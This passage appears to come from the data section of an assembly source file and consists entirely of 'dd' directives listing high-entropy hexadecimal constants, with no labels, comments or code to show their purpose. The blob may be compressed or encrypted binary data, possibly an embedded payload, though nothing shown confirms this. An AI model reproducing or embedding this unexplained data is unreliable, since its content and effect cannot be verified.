0EBD20CCEh, 0E3E83044h, 16529178h dd 3373E22Ch, 3F973E88h, 0BC13E401h, 32E8E95Bh, 1D31A42Ch dd 874DB8E0h, 61D44C69h, 0E706D84Ah, 10201C1Ah, 0C0AE3A11h dd 0FEAFC133h, 13537864h, 955E48FBh, 0C8D4CB24h, 0E779C03Eh dd 0A4B67036h, 17C03E49h, 31BBE834h, 75DBF64h, 0AC81E7A4h dd 1C0371D6h, 1289023h, 0D4219B9Ch, 884218B2h, 9B00940Dh dd 1BD7F6D3h, 4C32DEB4h, 0CF10382Dh, 3E5C757Eh, 8B4F10B8h dd 18A06689h, 8187D053h, 8414C182h, 74BC80A4h, 45046A46h dd 90B4D785h, 62E35644h, 0E00821D3h, 26E48150h, 78051FF5h dd 0D7E00824h, 16C61E7Bh, 0CEB04E64h, 0FA0784A8h, 27F9C590h dd 5AB16AC0h, 0E6F8E938h, 7D992CD7h, 6D909DBh, 3F46C802h dd 0E8C87305h, 0FD6900A4h, 8352B31Ah, 0E7082B72h, 205C7AE8h dd 80475494h, 0D6CF12BFh, 0D2B44F1Ch, 0E029A8C4h, 6A12B668h dd 0CC2B775h, 98D0B02Ch, 0D425109Bh, 9009E092h, 333A009Bh dd 0C746E683h, 0CB000D5Bh, 0D306419Eh, 5F0F6DF9h, 80BC0985h dd 0E15FEC98h, 0B0399620h, 5C433E4Ch, 4944D840h, 0E7E816D5h dd 1D044077h, 5CEBD464h, 97B82761h, 51EA08C6h, 0FD568528h dd 10F0F79Eh, 3DFC0CC8h, 28DB008Ch, 87C33880h, 0D06191A1h dd 0BFCA5171h, 47125428h, 0D608217Eh, 0DE561054h, 4319DD5Ah dd 0F67B518Eh, 0CD3929BEh, 3020C109h, 0E16540D8h, 8262C60Ch dd 20FB1833h, 0CF316370h, 0CEA2E09Bh, 6781DC38h, 62445F11h dd 3C9B4A38h, 0CBD6C880h, 0FE0969CEh, 82C7DAABh, 0C476F24Ch dd 15C40B00h, 0E4987995h, 0A800FC01h, 63E40B99h, 55A1DFh dd 56F19F59h, 18F05020h, 8481F95h, 21FC528Ah, 0D570528Ah dd 0D38776D8h, 0F3180520h, 0F745242h, 0F844D414h, 2C04B95Fh dd 0F1194A6h, 63BC0C5Ch, 3ED5008Ch, 7B6A1CE3h, 0C70624CBh dd 84B3D088h, 909CB6C9h, 0A9CB80DBh, 1FB398F1h, 0E2F44736h dd 5CDCBE10h, 0D820B42Dh, 0A3CD3490h, 0C75F5F71h, 0D36A7041h dd 0C88C5610h, 83598FC5h, 0CD19B417h, 79FDC800h, 9E77E542h dd 94D30648h, 0BE12F961h, 0B04F519Ch, 0A2BC34B3h, 0C9380D63h dd 4BE8401Bh, 24DD8E7h, 0C8CF0554h, 0A4C0C52Eh, 4824AB3Dh dd 55A20003h, 0F27B2008h, 284132B8h, 1518209Dh, 0B09FC51Fh dd 1708B4E6h, 44470E6Fh, 0DEE50470h, 64B46C18h, 4E37429Dh dd 67237C2Bh, 31297201h, 0FC3247E6h, 125C0500h, 0A36B35B5h dd 28152B05h, 58C1C69Ah, 247874E3h, 602CD30Ah, 0A81831A8h dd 93DC5256h, 0FE908329h, 0D0F10846h, 172D8C26h, 805891D8h dd 0C5B4720Fh, 0E12616C7h, 4BCCD050h, 0FE5DD95Fh, 9EC100E8h dd 0B2E2FB5h, 6F013E7h, 0F6DC914Ah, 76D0087h, 47CC0092h dd 6E1712FFh, 0A4A03844h, 0D0C23B9Ch, 8DE0812Eh, 0DC70B018h dd 0D5E1807Dh, 0E21094B0h, 38014B45h, 9B3482D0h, 5BA06047h dd 0C69819C1h, 8C438A78h, 0C42CB0FDh, 0CEDA05F3h, 215FC8B6h dd 3244B1E0h, 62310284h, 493B4C46h, 81922EC8h, 34200F7Bh dd 0F3401277h, 46A50164h, 0C256F7E5h, 0AE3D001Eh, 0D9249BD4h dd 1877602Eh, 78BF3311h, 3D8D3102h, 90586B09h, 94931AD8h dd 0C8CE85CCh, 91884185h, 82FD3444h, 0B38BC618h, 9F48905Eh dd 2FE40846h, 3F08B2E5h, 0D0217361h, 46AA6007h, 22BAEA8h dd 0E94120DEh, 0CF1134F0h, 202BF502h, 54A86EACh, 0E0BA64Ch dd 0A272DEE3h, 0C8618E04h, 12975E6Ch, 5860570Ch, 432A5024h dd 0D08960C1h, 60365DA7h, 848594Ah, 4C89DDD5h, 7617F334h dd 0A483AE39h, 8D71090Fh, 0B04080E3h, 0BD0CF419h, 30DDF935h dd 8C5E58BCh, 86798784h, 50C4B008h, 8806031h, 0FCB2EA2Dh dd 4962038Ah, 82DBD23Eh, 50C16968h, 1DC58CC8h, 84820CC5h dd 0D3A6216Eh, 0CA9A319h, 4A534C09h, 83E451B0h, 5084B6E5h dd 1AD4A03Eh, 792834F8h, 18757948h, 355D01B1h, 0EA185590h dd 4A54D8CBh, 0C5098490h, 5965ADF5h, 18727974h, 800B00BDh dd 4425F8B5h, 3728F17Ch, 2E2DCFC6h, 0DF689051h, 1043AA3h dd 0A5E82A06h, 109E1973h, 769C408h, 0CB78E72Fh, 18938C19h dd 31210808h, 59C437D3h, 2100074Eh, 0CA657E53h, 0A37C0D16h dd 4C1F1004h, 4E200A52h, 44D6043Ch, 2C041660h, 5D032C68h dd 0A1CED051h, 0CBFEDE7Ah, 4519FB16h, 9AD028D1h, 985109D2h dd 0D4195479h, 1B07E206h, 259EE9F9h, 72C5BE72h, 80B09EA8h dd 6A754629h, 165C76C4h, 175739E2h, 8C8870FAh, 9EC024DEh dd 0B639079Dh, 0F10D5068h, 10009DDAh, 42EE6D83h, 4A472C24h dd 0B9144015h, 0C5B371A6h, 0D3BED704h, 6CE05A61h, 22138CFDh dd 73099C8Ah, 2C166Eh, 0A88A1A18h, 38575883h, 0D812887Bh dd 0E00362DBh, 0A0415F9Eh, 96D13A69h, 0E14B8368h, 0CA984799h dd 404AFCDCh, 9FC89Bh, 40478B4Ah, 0A0003FCBh, 0CCD5371Dh dd 125F3DA2h, 0A75E74C8h, 0B6A9A080h, 7316122Ah, 0E1A88040h dd 0AC045563h, 4BE24778h dd 71ECE0ACh, 7625388Ch, 15DCB93h, 17F012B7h, 6282C8D5h dd 2CC8918h, 0B8CF3DE9h, 0DCE112A8h, 480C4AC3h, 0D49B06D4h dd 173E3007h, 0DDEC45B3h, 0C9512E6Eh, 15E18D14h, 83742079h dd 60D419C8h, 218B3D31h, 94CB381Dh, 98B23293h, 0E43064F2h dd 393403D4h, 2DD1EA4Ch, 114B7022h, 6E462Bh, 16DA64EDh dd 0F8B5A5AEh, 0EA8EF803h, 0DB5D2689h, 0F8DF0950h, 418B4D0h dd 8C395747h, 0ADBD0023h, 0BF4058D4h, 0E31EEA2Eh, 0D844C9E7h dd 3880672Fh, 0CB36CFC2h, 948F4C99h, 3A76E0DDh, 8821704Ah dd 0BE104DE3h, 2095F703h, 7E481618h, 47260093h, 4EC6DF2Fh dd 0AA75C3E2h, 1DF8CD09h, 0DD0700BAh, 9DB375h, 0DFB84C8Ah dd 0AB02F3D2h, 50F7280Bh, 55F40425h, 0E8C4E4FCh, 7890FDD5h dd 4F87DB13h, 2A484B0h, 0C0D49DE9h, 48D65B1Bh, 626821D4h dd 4251C008h, 211748FEh, 44A3C220h, 20F37430h, 0E30B2A54h dd 2DA5B48Bh, 6FD041E8h, 5C431480h, 443746Eh, 0C12307F0h dd 1EFC3900h, 6AF23FC7h, 0EA4002A7h, 0EB41B035h, 8E4A0C80h dd 2B02E742h, 6B3039B1h, 0BF1E00C1h, 6A0EF83Bh, 8FE746B2h dd 80EA8FB1h, 2FFE3DB5h, 73A7C7Eh, 0F142C31Ch, 7B80491Ah dd 0F845B56Ah, 4A7E320Ch, 3828F4h, 3FCA36F1h, 37CC33F9h dd 0CD2A2C18h, 2E8C1940h, 0E4187Eh, 0B76AF540h, 7407F73Fh dd 58566168h, 6B2C25FEh, 4E860406h, 4BB13E80h, 0C0920A1Fh dd 7EA17210h, 79C734F1h, 718CB133h, 0DD1DF83Ah, 0E06A1818h dd 8A823FCh, 1A3EF342h, 18EB05C0h, 381B85C2h, 2887F80h dd 0F34BB030h, 7F0FCC35h, 50FD79C1h, 0E8831B6Bh, 151343C1h dd 993F383Dh, 0A1403A83h, 0C929A040h, 0FF173F1Fh, 702C9180h dd 0FB4F64C2h, 0ED3FB006h, 74E1AC13h, 2F27307Bh, 0CD191C78h dd 21113B38h, 7EE89092h, 0B2340407h, 51781225h, 1EF3CCA3h dd 1829AD1Fh, 8EFF8423h, 0CA0C8745h, 834CE43Ch, 42BC5074h dd 488BCF51h, 0FAD8EB54h, 90445BB0h, 0AD685460h, 4024F481h dd 34C0B8CCh, 8118676Eh, 3CA0D64h, 1B400BFBh, 3C6A4537h dd 48110063h, 813B67E0h, 80B96D13h, 4C82E930h, 0A49DEC94h dd 513CC46Dh, 20752CFFh, 0AFE0608Ch, 0F37CA6A1h, 0D6CF59C2h dd 0D5C59A4h, 9071F017h, 9696BE58h, 0B77B60D0h, 303DB840h dd 81F95109h, 5D4A37C0h, 6868EC5Fh, 2E6158DDh, 6860B1B8h dd 0B67117B9h, 0C344356h, 4AD414D3h, 0E7E194AFh, 0CA230B36h dd 230E0359h, 0E9A5984h, 0F4434911h, 7D730C61h, 35FC4701h dd 70D020F0h, 246D5344h, 8F28D6DAh, 8797E8CDh, 0D8518B2Ch dd 2F8C04A7h, 0A38DDD02h, 0B426A0D0h, 0EB8B886Dh, 0D53CC8E8h dd 287260F9h, 44AA210Bh, 0F0D3D409h, 0C8ACE859h, 1640A954h dd 0F4E7D513h, 9AE10067h, 1561D20Fh, 0ACFBC6E5h, 24DB5478h dd 0AE9F88Ch, 92D0D35Ah, 0F00CBC98h, 0CD883DDEh, 14BE8A7Ch dd 0B0ABFA39h, 4080DEC2h, 0D53621CAh, 4E74A24h, 1FC44468h dd 0DC2A0322h, 7029D051h, 2711884Ch, 1F4E40h, 3348A120h dd 220441A8h, 3F8F031h, 0C390CA9h, 2943862Bh, 1CA1FB22h dd 48E01823h, 4C24841h, 18F4BA71h, 64448258h, 6041400Ch dd 91688B97h, 209C283Ch, 4BF02B3Ch, 0E360F896h, 0B356B28Ah dd 54C5509Ch, 0EC104960h, 4A7A9AD1h, 3D0C7128h, 202C00AEh dd 4A34905Ah, 0BE300B44h, 48530686h, 0F0EF7978h, 20322BEBh dd 1F342866h, 383050A3h, 0C136B48Dh, 1208E921h, 0CB0C201Bh dd 0CE5EAD1Ah, 43DC5E18h, 411E62C6h, 1258DCBh, 1E097920h dd 0CD513986h, 6D0E5147h, 0C056A47Eh, 0BF2B90B6h, 2D1B009Bh dd 4A27A5EAh, 50259E68h, 0C0DC6ACFh, 0C449C57Ch, 88E3D2A1h dd 6312D880h, 0D40C1951h, 80E09Dh, 81369602h, 729B824Fh dd 19A8EFh, 53284A12h, 449E0404h, 5F561C01h, 96A5F022h dd 478BDB00h, 6F1FE391h, 0D3380C6Ah, 60093A03h, 0D6EA3300h dd 514D7A26h, 0A35F481Eh, 98264C47h, 0CF960234h, 0E0916F47h dd 919C51F9h, 2948862Eh, 40F06CDEh, 0F98976B3h, 0E312502Dh dd 0CDD420C6h, 0A5736456h, 48C0C7F6h, 0E0C6973Dh, 6080BE84h dd 547AA2D2h, 5D4FD6E8h, 0E3E578C1h, 219E4ED1h, 0B4630656h dd 25097168h, 2F6DB6D9h, 244838D8h, 5A3D0302h, 0FB478A28h dd 0CC3E710Bh, 5CA8E165h, 6FFE210h, 0EE1D461Eh, 474CBB9Eh dd 2C16Bh, 9B6093D6h, 0A30F8A3Dh, 1052B519h, 11104C40h dd 5012A568h, 104643D0h, 4510AC69h, 1D10401Bh, 270012D2h dd 8B6621D5h, 885FB48Ch, 404CDE08h, 74D924A4h, 0A1012042h dd 288FFABCh, 19718BE8h, 793B72B3h, 20B6E1F7h, 0BFE6DFBEh dd 87A40118h, 12AB11B0h, 8275212h, 0D281B32Ch, 2233021h dd 2C53ED0h, 0FA93F5ECh, 4795FDAh, 2159B000h, 97C8D84h dd 79550429h, 494AF084h, 0C71C2316h, 885945AEh, 118086E1h dd 0D038212Ch, 5A5C0683h, 0D4872988h, 0D0127C93h, 60585489h dd 78D834EDh, 4D648121h, 0EB84303Fh, 19791030h, 4E4763D3h dd 0B034227Bh, 0D21FA878h, 3E82969Eh, 0C1E51831h, 6214BE18h dd 38C19214h, 0D8304031h, 58A1B4Fh, 0B89275DCh, 0D52C20D7h dd 0E302BE7Fh, 53E952FDh, 0A3974050h, 27F44E06h, 5B4A101Ch dd 9301AD64h, 50C7790Dh, 4222FC9h, 21683426h, 4A8E7828h dd 94A07343h, 5A281D2Dh, 230A2C19h, 0C051B450h, 2F920A85h dd 20636882h, 515FE45Ah, 48A48C39h, 1C13244Dh, 3330B044h dd 98120523h, 6C87539Ch, 98321905h, 54F0E467h, 42DF0CA8h dd 88902162h, 461271C3h, 0BD4C4A5h, 5D4838A2h, 0ABCCB000h dd 5CFF8232h, 2C8133Fh, 0DF2DB35Eh, 96A1C0C2h, 0B84654C5h dd 0AD3A0006h, 1ECC076Dh, 0A0BD255Ah, 8C90B200h, 5BA5AF4h dd 21E95684h, 0BECE5FACh, 0C4060041h, 823572DDh, 0D23B00CFh dd 0CB1A342Eh, 2500031Dh, 7FDE30CCh, 0F75FB863h, 0BAD0307Fh dd 9BE83EA1h, 367FEF03h, 98CB1C43h, 0CC21ABh, 94AC3148h dd 569DD6Dh, 0D4E60F76h, 58F484BFh, 5AF82B41h, 290A2EB1h dd 2C004CD2h, 6B53C5DFh, 73402F48h, 303ABC48h, 9D77F800h dd 5B9B9FD5h, 92900022h, 0E28936A4h, 0DD2AD43Bh, 2C3A8854h dd 8ADE85B1h, 0EC08AD29h, 0D0B396D1h, 4214E594h, 0EE0B400h dd 0AD97021Ch, 0FC90798h, 0A0B33A4Dh, 0B08F2979h, 5503F9E2h dd 0C99C2493h, 38213D14h, 1787E43Dh, 50A6B2F2h, 4B2F8F8Dh dd 0A0F7CA00h, 0B332292Bh, 0BB540EC0h, 1E8001DDh, 63B917ABh dd 0D1EB4301h, 4926DBF8h, 0C8945080h, 563B88C3h, 4CFDB500h dd 16AB0F34h, 3CA60E1Ah, 0A92C809Bh, 27053A20h, 0DC6D9D1Fh dd 46372038h, 4DB20327h, 0F1BCC6Dh, 0FD9FF7C1h, 5CB19580h dd 93A9CB7h, 2123355Dh, 0A3FDA980h, 5136074Fh, 40C90783h dd 0E976566Ch, 34DC3900h, 4D17B32Ah, 2FA10022h, 44977AEBh dd 0E5037082h, 0FE5A0E73h, 0F88ED3A8h, 0E896A367h, 0BBA7005Ch dd 0BE3D41C1h, 4C54B9DDh, 0BC19DE8Ch, 49801C75h, 6F109DD0h dd 930060B7h, 29A189DFh, 3CE8D00Ch, 0C0880934h, 89EC7321h dd 8AFA8D4Eh, 0D2983B68h, 4A1B421Eh, 0A5EDC0D0h, 0D3E301F7h dd 0CC1B98A4h, 0E5088C7Ch, 0F0A2038h, 0A3B0F76Eh, 0DDEFC420h dd 0A80CC1F9h, 992D2A2Eh, 46B110B3h, 0AFDE1FF2h, 2A181A18h dd 9CFCA06Dh, 262840F3h, 9060C82Ah, 35C1B40Ch, 0E33489C6h dd 5D9A1983h, 0D831DE5h, 830BADD8h, 563A7E0Ah, 4674D89Eh dd 33397920h, 30616034h dd 9EB96Ah, 7BE97705h, 60A9FCC4h, 8A1BC626h, 9683F800h dd 18433367h, 3931D327h, 2807D969h, 0E2606CD2h, 0B59764C1h dd 48489FF1h, 29B898ADh, 1148C195h, 0A5CE0021h, 7E81D0FDh dd 0F0AF4114h, 89F45CB2h, 8B12A002h, 83FC88F4h, 4401B39Bh dd 8C48DC39h, 0B9F79704h, 0D76294D4h, 0F7A00820h, 9D533F8Dh dd 0B2491230h, 0D600D5D7h, 5A9684C2h, 502A0CC1h, 48266038h dd 0B0086486h, 3CAA4FD4h, 0B91E9746h, 0C029448Ah, 208632E9h dd 0F489DE75h, 417DFF05h, 4006332Ah, 1C14834h, 0C13B6296h dd 42F8B5B6h, 0A4306AECh, 953B28FDh, 9EA485A0h, 0EAFD40D7h dd 0B0E7AA01h, 0B901327Ch, 424CEBAh, 1422B57Ch, 0C4CF8F1h dd 50E7003Bh, 3E7D344Fh, 9B03FBACh, 0CCE641D2h, 0B58BA9h dd 379CB3E1h, 0EA8DE408h, 10F8BD14h, 94123D0h, 1405F7A2h dd 0E0D0626Ch, 0F76B0B20h, 3E1574DBh, 0DD807144h, 35FC986Dh dd 0C91927F3h, 9470B412h, 5434C830h, 1D5AC83Eh, 0C1A05B40h dd 0B948F050h, 66089878h, 7457D21h, 58A39D5Bh, 0ACFD2033h dd 2926A71Ah, 2643D430h, 0B8A950D2h, 0ACEC0C51h, 36E18410h dd 0FD48BB00h, 0ABCF8670h, 0D8E40094h, 5DA4ADD2h, 9C073C73h dd 0E2510B87h, 79DA8EF0h, 0DDA80726h, 0A01CBB7Fh, 0B33C8540h dd 614460A7h, 4E514160h, 2449FD01h, 3A1D9356h, 0B84BE561h dd 0EDC022C8h, 0B8F0EE6Ah, 0FCC305FFh, 40D935A4h, 0BF19D8C4h dd 0E6007667h, 40376AE3h, 0ECD4536h, 0E4A45A6Ch, 0A6A772CEh dd 0DCF0D3B5h, 488437A1h, 790777A4h, 0B49519B1h, 38198CC6h dd 0E054CA9Ah, 0B3E003Ch, 9D55FE8Dh, 0A800EE2Bh, 318EADBCh dd 58E69336h, 0CB019451h, 0C809AABh, 28686487h, 3AA0154Ch dd 0C292064h, 4768E4CBh, 0AE540130h, 91032C84h, 0FD72730h dd 323B99D0h, 6B9E90DFh, 37A006A2h, 2033F859h, 7B8E4D07h dd 200A99E7h, 8C2E9C70h, 614E3402h, 0B3DEB493h, 0AE5BA9E4h dd 0E20DDh, 0EB5B3B6Fh, 1857C114h, 0B8A8603Ah, 17408711h dd 99150095h, 1D5C789Ch, 0BD007AABh, 70E2525Fh, 4DDCCD1h dd 352A6F1Fh, 4720C813h, 77064F88h, 46970044h, 8183AE3Dh dd 8B1993DCh, 0B361AC16h, 0C2340441h, 6AADF850h, 111C0083h dd 0C9E29D5Dh, 920B97FAh, 0A5935FC8h, 89073514h, 55C3AB12h dd 0DD1CB9B3h, 530040BCh, 40D22F90h, 0DE152DB4h, 11DC11C4h dd 0AE1F8F38h, 738689Bh, 5816B492h, 9920CC7Ch, 4E50C91Bh dd 8AD4C898h, 8F5D03A0h, 0BB955529h, 496941E0h, 9100A479h dd 0FCBC09Bh, 45FFD2h, 0F43236C4h, 298EDD66h, 0B34BCA0Ah dd 0B11844E5h, 30D2BD51h, 0F23142AFh, 0C87958A9h, 5B180C1h dd 0D420D779h, 7EC1F994h, 35371882h, 5101DF81h, 0D18947C8h dd 41004C6Bh, 7817A0CCh, 94B1D829h, 0DD02380Ah, 0B4DE161Ch dd 834EDD0Bh, 0A9C8A85Ch, 70BE2F23h, 0D4408A7Fh, 44E51011h dd 0D68A84CCh, 0E8C0AD08h, 18B7F134h, 60917A4Eh, 56CCC0C3h dd 0B30C4549h, 29C696B4h, 16B844CDh, 84729844h, 0D9895A7Fh dd 84BA7017h, 680026E9h, 395CC21h, 0F62CC1h, 470964CFh dd 0F369FF42h, 9CF29700h, 7D92134Ch, 349E05ABh, 3540E53h dd 26F19FABh, 647A1B98h, 0DB2E6800h, 537822CBh, 9B053ED5h dd 7B6D9080h, 0D9120788h, 30207200h, 0D8DA132Ch, 7CC603D3h dd 0A4512D0Bh, 0AA23291Fh, 40A0724Eh, 21C2EA1Dh, 86D50039h dd 7094CDDAh, 0DF44DCEh, 0F87BEE00h, 7CF628Eh, 1F2900E1h dd 0DEA4A164h, 5B00CD37h, 0A003BC54h, 65E771h, 6AB542C6h dd 0B4C1AE67h, 3E849700h, 4683DCD4h, 0B35400E4h, 0AD0B5395h dd 0B71C5267h, 2B018A24h, 0E7C2B17Ch, 489CE434h, 701EE8C3h dd 52FC81EDh, 0F8978748h, 90FA1BB5h, 0DAC60B1Eh, 47EABD00h dd 897A1Ah, 2BD7FBE6h, 0C93A5A75h, 99392800h, 45CD190Dh dd 0DA7100B9h, 979A82A1h, 0F50A51C3h, 9414BAC0h, 0BF909F00h dd 44521A0Ch, 1D0C0479h, 11C3B7B9h, 99BC0765h, 0E19DB475h dd 707C5516h, 40549A9Ch, 800A4BCh, 881324BEh, 35A1145h dd 59E86948h, 9AE08F75h, 0E4E96F5Fh, 78006470h, 0E3F48388h dd 9A36E62Ch, 0AAF70090h, 0C79A6639h, 7700C65Ch, 13C55774h dd 54DA9E8Fh, 745AE8BCh, 5F3300BAh, 0D3F814B9h, 7005D54h dd 769B421Dh, 0A3AFBh, 716837F9h, 9ACB7013h, 0C6336507h dd 69E0E01Ch, 0FEB9078h, 0FDF91B32h, 0F3D802A0h, 4006675h dd 7AA2CF60h, 48732A88h, 74006B8Bh, 0FA3EB5D5h, 5C009452h dd 0A2F69912h, 0FF04F13h, 0FF37AE05h, 715EA320h, 0B50C3820h dd 48D6E591h, 0C5D5093Fh, 1382900Bh, 3A41A2A6h, 930CE801h dd 398F9600h, 9F490B63h, 294B007Eh, 0ED4F721Ah, 5000B6E3h dd 9597B7EAh, 0A99BFDEh, 98E85EEFh, 357300BCh, 114A2164h dd 844C8300h, 7C1D0D1Bh, 80F3127Ah, 8B200353h, 0F9D889D8h dd 0F4F203EBh, 0DDE91A00h, 0B618BF3Ch, 0FC260080h, 98584628h dd 86008CF2h, 0DA6E4130h, 3A6D275h, 0B57BF18Fh, 67815DAAh dd 6F28304Bh, 7AC71D00h, 2635F21Bh, 0AEC84CBDh, 0E72B5D00h dd 4813F059h, 35CFC1Ch, 56F27580h, 269416B9h, 651739h dd 0D3577897h, 47003D85h, 1525ED5Fh, 946F2Bh, 9BC3DEBAh dd 8EBEE289h, 0C704B7E2h, 0A137C890h, 2520E480h, 64E34852h dd 0C4068800h, 0C84C70Dh, 12B3E04Ch, 60077DB4h, 2322C931h dd 0BD20408Ch, 78AA07C1h, 57DEB743h, 2E6770ACh, 0D4003975h dd 0B3252917h, 597D8C90h, 0E00070A3h, 0C4A6976Fh, 487934D8h dd 0E8D44300h, 8777A1F6h, 11F70064h, 5E9F826h, 36006E83h dd 944023A8h, 3AEC147h, 8D64E4F5h, 11901C55h, 0CC90BF02h dd 0E7BD5D08h, 80658296h, 0BC495BDCh, 992CF4A6h, 3F1AF900h dd 28129BC0h, 0D5B03FB2h, 0D2795C80h, 334FE606h, 5DEB3Eh dd 0B4ADB53Bh, 0E81A9C75h, 8B8A01D0h, 0C29E2CE2h, 2FB4201Dh dd 0A0C9BF2Ah, 7A4BDE00h, 622A708Eh, 176726FAh, 87C4800Ch dd 0C511CB85h, 0F2208303h, 984D651Ah, 20314EEh, 0C93E76A5h dd 6C08B43h, 86003B8Eh, 0EC40A028h, 191D546h, 390CF0DBh dd 307DCBCFh, 0BF389A31h, 3626FA53h, 0F50400CDh, 0A8001C3Ch dd 80950AE9h, 2EBC7638h, 0F900E316h, 0CF845971h, 0C0240087h dd 79E636DAh, 0A818AAA3h, 0A9280437h, 3F127C45h, 0B502CFEAh dd 0C3214206h, 433A3C58h, 0E44D09E9h, 81A000CDh, 18EFA24h dd 2D5AF720h, 0FBBC60C4h, 0F4C02FC1h, 0ED003396h, 4B153899h dd 72D647h, 5277DBADh, 98F30CA2h, 7F542448h, 0E18E0500h dd 925A9DC5h, 0A0B85550h, 0D337CCh, 9846D9BFh, 0E3242F9Fh dd 0DE006492h, 53D1C003h, 7ECDD30h, 3225B786h, 0D7473E46h dd 0E209A0ABh, 9D0066F2h, 6CEB349Ah, 195B81Ah, 354F5860h dd 0EC8027EDh, 5B0120E0h, 5E6AD67h, 0EC40380Bh, 23D1DDh dd 7BD6887Dh, 0BF2D633Fh, 60FB2603h, 1E31A737h, 93BAA29h dd 38004017h, 0DD193AE2h, 0B5216A0Fh, 0BC222A83h, 80037A09h dd 7D98CDA4h, 2F4F0055h, 1171F3E6h, 0B7F21201h, 0EE33E507h dd 8B5592Eh, 0E9DBE00h, 87CEE9h, 7A3B26Bh, 4E83251h, 0EC024F74h dd 186AF730h, 0C3844098h, 5190084h, 0FD978E9Ch, 748D5CDh dd 0D2E207D8h, 0CEBD36h, 0FB0913ABh, 3BFCBACEh, 0E3002C34h dd 84709507h, 0F00EF6Bh, 0AE5B4B24h, 3B2A8C2h, 434C624Eh dd 21B88F52h, 940E2FF1h, 0C0DC9380h, 0D17031E1h, 0A1750640h dd 90BD9DE5h dd 230A0900h, 1B6B595Bh, 38A300CCh, 414A13E3h, 2B00F20Fh dd 0C827D6BCh, 1331AD3h, 427328CBh, 0D0A70BBDh, 2400BA5Dh dd 0F7DD18A2h, 76865409h, 6CB9C2BFh, 68C835C2h, 0E2120A83h dd 0A8D0D9B1h, 20D5ACFh, 4B89437Ah, 86866E8h, 0F20BEA93h dd 200157DBh, 52C2A6BCh, 0AD400966h, 8CC8DA3Ch, 46008D8Ah dd 455CA196h, 0FA53ACC5h, 49B60299h, 4BB48F54h, 4CB165C0h dd 0BE93550Fh, 0B792A081h, 0A02476h, 0A3287AC3h, 0B4CE7DC2h dd 58552630h, 1E9884D4h, 0F0A436AFh, 0E1974C10h, 310ED306h dd 1381494Eh, 97B806CCh, 0A4E90074h, 0F6E82829h, 0DEFC5200h dd 0D93F4549h, 0CE3D005Ch, 0AE7506CBh, 363FF143h, 98B18F48h dd 973C84FBh, 73E444E4h, 18334CB4h, 0FB80B105h, 391CA481h dd 0FA95EA0Fh, 0A37019A5h, 484350F5h, 0E7A805D2h, 0AB518D3h dd 18101028h, 33E368D6h, 0F9B0857Ch, 0A5008773h, 3130DDA4h dd 3757Fh, 0CBB70784h, 2EFD4A0Fh, 6C346D13h, 609A4082h dd 5CE91Eh, 0B601C1B2h, 0B5F4F020h, 8B9DC60Ch, 90902941h dd 2746399Eh, 43CA558Ah, 5EC90CAFh, 1A0583C9h, 85A9DE28h dd 2332A04Eh, 0E372B5F5h, 0F28898D2h, 9B56278Bh, 0BC7FC803h dd 9A840FC5h, 806C5184h, 17B2E94Bh, 0C9144E18h, 2DA3A08h dd 0B3343FD6h, 444BED32h, 0B1046046h, 302D5511h, 1147E511h dd 0E111BBDAh, 9DB9119Eh, 113FA611h, 0A074BD9Ch, 899BDA14h dd 4D6411C2h, 0A2C06AF9h, 0AD0B0085h, 4CABE678h, 4A0736DBh dd 0E997C3E0h, 26695380h, 0C98612E2h, 6340C0C6h, 8800C722h dd 4D36C307h, 4CBD0F37h, 1F00DC19h, 0D5BAB1E4h, 0A5006894h dd 0C246CAD6h, 481A50ADh, 800B89Ch, 6A26F6CFh, 0E14CB135h dd 4D5800ECh, 6184273Bh, 4922E1Fh, 1FFF3CA4h, 15BC3F32h dd 1C099049h, 0DC20911Bh, 0DBEB6ED3h, 3400CAE6h, 59C5A04Eh dd 3D98B9EEh, 2FAACA7h, 0D7AB21BEh, 40604553h, 2900F57Fh dd 0B38EA8F1h, 1851400Fh, 60390BABh, 384DC1EBh, 656A0020h dd 0C88BFB4h, 0D59A07CEh, 877AC5F6h, 0CC427083h, 1D009351h dd 30F51F08h, 0F72B18h, 5F231CE7h, 0DA72A624h, 16B5BF00h dd 0FC9B3B6Dh, 7BDE0040h, 0A32AE8FFh, 0E313C51Eh, 2801BE42h dd 73DF0C2Ch, 21289850h, 57BB00A5h, 59C6422Dh, 23012A4Ah dd 83AE8D7Ah, 0B2E8A877h, 93DF3F76h, 12FE0180h, 7EABD232h dd 7F7C0300h, 172858DDh, 0FC5F2CC8h, 0E437001Fh, 0DB155085h dd 5A1E6EF4h, 60400749h, 61B6B07Dh, 0AB160FC6h, 0AA062F2h dd 0E41B7B90h, 0B4D15224h, 0C014B81h, 838F57Ah, 2691B200h dd 82AFDE31h, 6D11A400h, 68F5D947h, 40CE1818h, 0CD9E2866h dd 0B3CBA001h, 2E67E609h, 4C4AEAECh, 6E00D2AAh, 24C00FF9h dd 9C003AC4h, 44334511h, 87D2A4h, 9D262FE1h, 0B45940A3h dd 8B57BE01h, 2CB03C29h, 0FEC060h, 3DD4D265h, 8F2EF718h dd 0CE988300h, 3B09E2F4h, 730E080h, 0A6DB527h, 98B8502Bh dd 3500C652h, 8AB320C4h, 0BE2E8862h, 0ABB40334h, 15C86323h dd 0EB0004F0h, 0CB9F906Eh, 0F4303DDh, 0E2CD3328h, 0FD2C500h dd 711CA232h, 130014AFh, 0B462725Dh, 0C25000FBh, 1E6521F5h dd 0DA027091h, 5FA28A89h, 4D2460D3h, 90454955h, 86150538h dd 0A602ACF9h, 9BE32A95h, 0BED7CE8h, 96034C92h, 3FAE7094h dd 53E2C8A9h, 2704B850h, 0C8307854h, 6B0F3D20h, 26E9B826h dd 21C985h, 0FD52CA33h, 0C88A765Bh, 7F945A18h, 8099BA69h dd 402E45EDh, 1880BCC6h, 7D6BD567h, 3E0E981Ah, 0A83BB9E0h dd 10BB1Dh, 0CE15EE68h, 30004B93h, 5BD91A71h, 2D6736h dd 0A80F01E1h, 0DB516B15h, 0EC00C6EEh, 335C5DA7h, 0F6071ABh dd 3D0F39B5h, 8C114AA0h, 794A12BDh, 0EC00AC16h, 8A2FDBF7h dd 0CC37015Bh, 6C973B28h, 0E6660B5h, 590079EAh, 0E8757D76h dd 0E355F9E0h, 0EB15474h, 13963921h, 25D1D6E0h, 0EC5CA53Eh dd 3D1670C0h, 0E400469Ch, 0CB85FE2Bh, 5DE00008h, 14F81758h dd 86004375h, 0C95B031Eh, 3E1D36E7h, 0E3D0CE7Eh, 89B4C29h dd 31AD5400h, 47BC02E6h, 0EDE00498h, 0EF27301h, 6F92134Dh dd 2240B231h, 906225C8h, 0F9450076h, 6B0A88CAh, 12000B81h dd 6DC6AAF1h, 12ACFD20h, 